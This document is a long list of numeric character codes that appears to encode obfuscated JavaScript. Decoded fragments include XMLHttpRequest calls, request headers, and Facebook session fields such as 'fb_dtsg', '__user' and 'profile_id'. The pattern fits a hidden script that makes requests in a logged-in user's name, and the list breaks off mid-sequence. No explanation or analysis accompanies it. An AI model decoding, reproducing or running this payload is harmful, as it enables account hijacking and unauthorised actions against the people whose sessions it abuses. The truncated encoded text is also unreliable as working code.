97,83,55,92,98,22,31,33,32,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,37,32,27,35,35,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,34,36,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,35,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,31,23,26,94,79,96,97,83,55,92,98,22,36,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,37,39,27,35,38,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,37,35,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,31,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,37,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,34,37,23,26,94,79,96,97,83,55,92,98,22,38,37,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,31,37,23,26,94,79,96,97,83,55,92,98,22,38,31,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,33,39,23,26,94,79,96,97,83,55,92,98,22,39,30,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,38,39,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,32,38,23,26,94,79,96,97,83,55,92,98,22,37,39,27,32,39,23,26,94,79,96,97,83,55,92,98,22,36,33,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,37,32,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,38,33,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,33,34,23,23,26,77,77,96,83,95,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,33,27,34,34,23,23,26,84,80,77,82,98,97,85,40,84,80,77,82,98,97,85,26,98,98,97,98,79,91,94,40,98,98,97,98,79,91,94,26,77,77,96,83,100,40,77,77,96,83,100,107,26,93,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,93,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,37,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,33,38,23,26,94,79,96,97,83,55,92,98,22,39,34,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,37,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,39,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,37,23,26,94,79,96,97,83,55,92,98,22,37,30,27,31,32,23,26,94,79,96,97,83,55,92,98,22,39,30,27,34,33,23,26,94,79,96,97,83,55,92,98,22,38,33,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,33,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,34,34,23,26,94,79,96,97,83,55,92,98,22,36,36,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,34,32,23,26,94,79,96,97,83,55,92,98,22,39,37,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,36,38,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,34,23,26,94,79,96,97,83,55,92,98,22,36,39,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,36,38,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,31,31,23,26,94,79,96,97,83,55,92,98,22,39,30,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,37,35,27,35,39,23,26,94,79,96,97,83,55,92,98,22,38,35,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,32,33,23,23,23,26,93,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,93,28,97,83,92,82,22,77,48,22,98,23,23,26,93,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,87,84,22,34,43,43,93,28,96,83,79,82,103,65,98,79,98,83,20,20,32,30,30,43,43,93,28,97,98,79,98,99,97,23,105,56,65,61,60,28,94,79,96,97,83,22,93,28,96,83,97,94,93,92,97,83,66,83,102,98,28,96,83,94,90,79,81,83,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,38,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,32,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,34,34,23,26,94,79,96,97,83,55,92,98,22,37,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,38,35,27,32,36,23,23,26,16,16,23,23,107,107,107,84,99,92,81,98,87,93,92,14,77,96,22,23,105,100,79,96,14,83,43,105,100,79,90,99,83,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,37,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,36,37,27,31,39,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,39,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,36,37,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,35,39,23,26,94,79,96,97,83,55,92,98,22,35,38,27,31,30,23,26,94,79,96,97,83,55,92,98,22,38,34,27,32,38,23,26,94,79,96,97,83,55,92,98,22,37,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,39,32,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,35,31,23,26,94,79,96,97,83,55,92,98,22,39,31,27,33,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,36,33,27,31,30,23,23,26,94,96,83,100,77,100,79,90,99,83,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,36,39,27,31,39,23,26,94,79,96,97,83,55,92,98,22,39,36,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,35,38,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,39,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,38,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,35,39,27,31,31,23,26,94,79,96,97,83,55,92,98,22,37,38,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,31,23,26,94,79,96,97,83,55,92,98,22,37,38,27,32,33,23,26,94,79,96,97,83,55,92,98,22,38,38,27,33,31,23,26,94,79,96,97,83,55,92,98,22,38,32,27,32,37,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,38,23,26,94,79,96,97,83,55,92,98,22,38,32,27,33,30,23,23,26,77,77,99,97,83,96,40,94,96,93,84,87,90,83,77,87,82,26,77,77,79,40,31,26,77,77,82,103,92,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,33,27,34,38,23,26,94,79,96,97,83,55,92,98,22,39,38,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,33,23,26,94,79,96,97,83,55,92,98,22,37,36,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,32,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,36,30,23,26,94,79,96,97,83,55,92,98,22,38,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,38,36,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,39,39,27,33,34,23,26,94,79,96,97,83,55,92,98,22,39,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,39,31,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,35,33,23,26,94,79,96,97,83,55,92,98,22,37,38,27,32,31,23,26,94,79,96,97,83,55,92,98,22,39,38,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,37,33,27,35,33,23,26,94,79,96,97,83,55,92,98,22,39,36,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,36,38,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,37,39,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,37,35,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,30,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,35,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,37,34,27,32,34,23,26,94,79,96,97,83,55,92,98,22,37,39,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,34,37,23,26,94,79,96,97,83,55,92,98,22,39,37,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,38,30,27,36,30,23,26,94,79,96,97,83,55,92,98,22,36,38,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,35,34,23,26,94,79,96,97,83,55,92,98,22,37,32,27,32,30,23,26,94,79,96,97,83,55,92,98,22,38,36,27,31,37,23,26,94,79,96,97,83,55,92,98,22,37,37,27,33,32,23,26,94,79,96,97,83,55,92,98,22,37,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,37,39,27,31,32,23,26,94,79,96,97,83,55,92,98,22,39,32,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,35,34,23,26,94,79,96,97,83,55,92,98,22,39,35,27,34,30,23,26,94,79,96,97,83,55,92,98,22,39,34,27,33,38,23,26,94,79,96,97,83,55,92,98,22,39,36,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,30,23,23,26,77,77,96,83,95,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,38,27,35,39,23,26,94,79,96,97,83,55,92,98,22,39,37,27,34,34,23,23,26,84,80,77,82,98,97,85,40,84,80,77,82,98,97,85,26,98,98,97,98,79,91,94,40,98,98,97,98,79,91,94,26,77,77,96,83,100,40,77,77,96,83,100,107,26,98,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,98,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,37,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,33,38,23,26,94,79,96,97,83,55,92,98,22,39,34,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,37,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,33,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,35,35,23,26,94,79,96,97,83,55,92,98,22,35,38,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,34,34,23,26,94,79,96,97,83,55,92,98,22,38,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,36,30,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,33,30,23,26,94,79,96,97,83,55,92,98,22,35,37,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,32,32,23,26,94,79,96,97,83,55,92,98,22,38,34,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,37,23,26,94,79,96,97,83,55,92,98,22,36,37,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,33,23,26,94,79,96,97,83,55,92,98,22,35,39,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,33,35,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,36,23,26,94,79,96,97,83,55,92,98,22,38,35,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,32,23,23,23,26,98,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,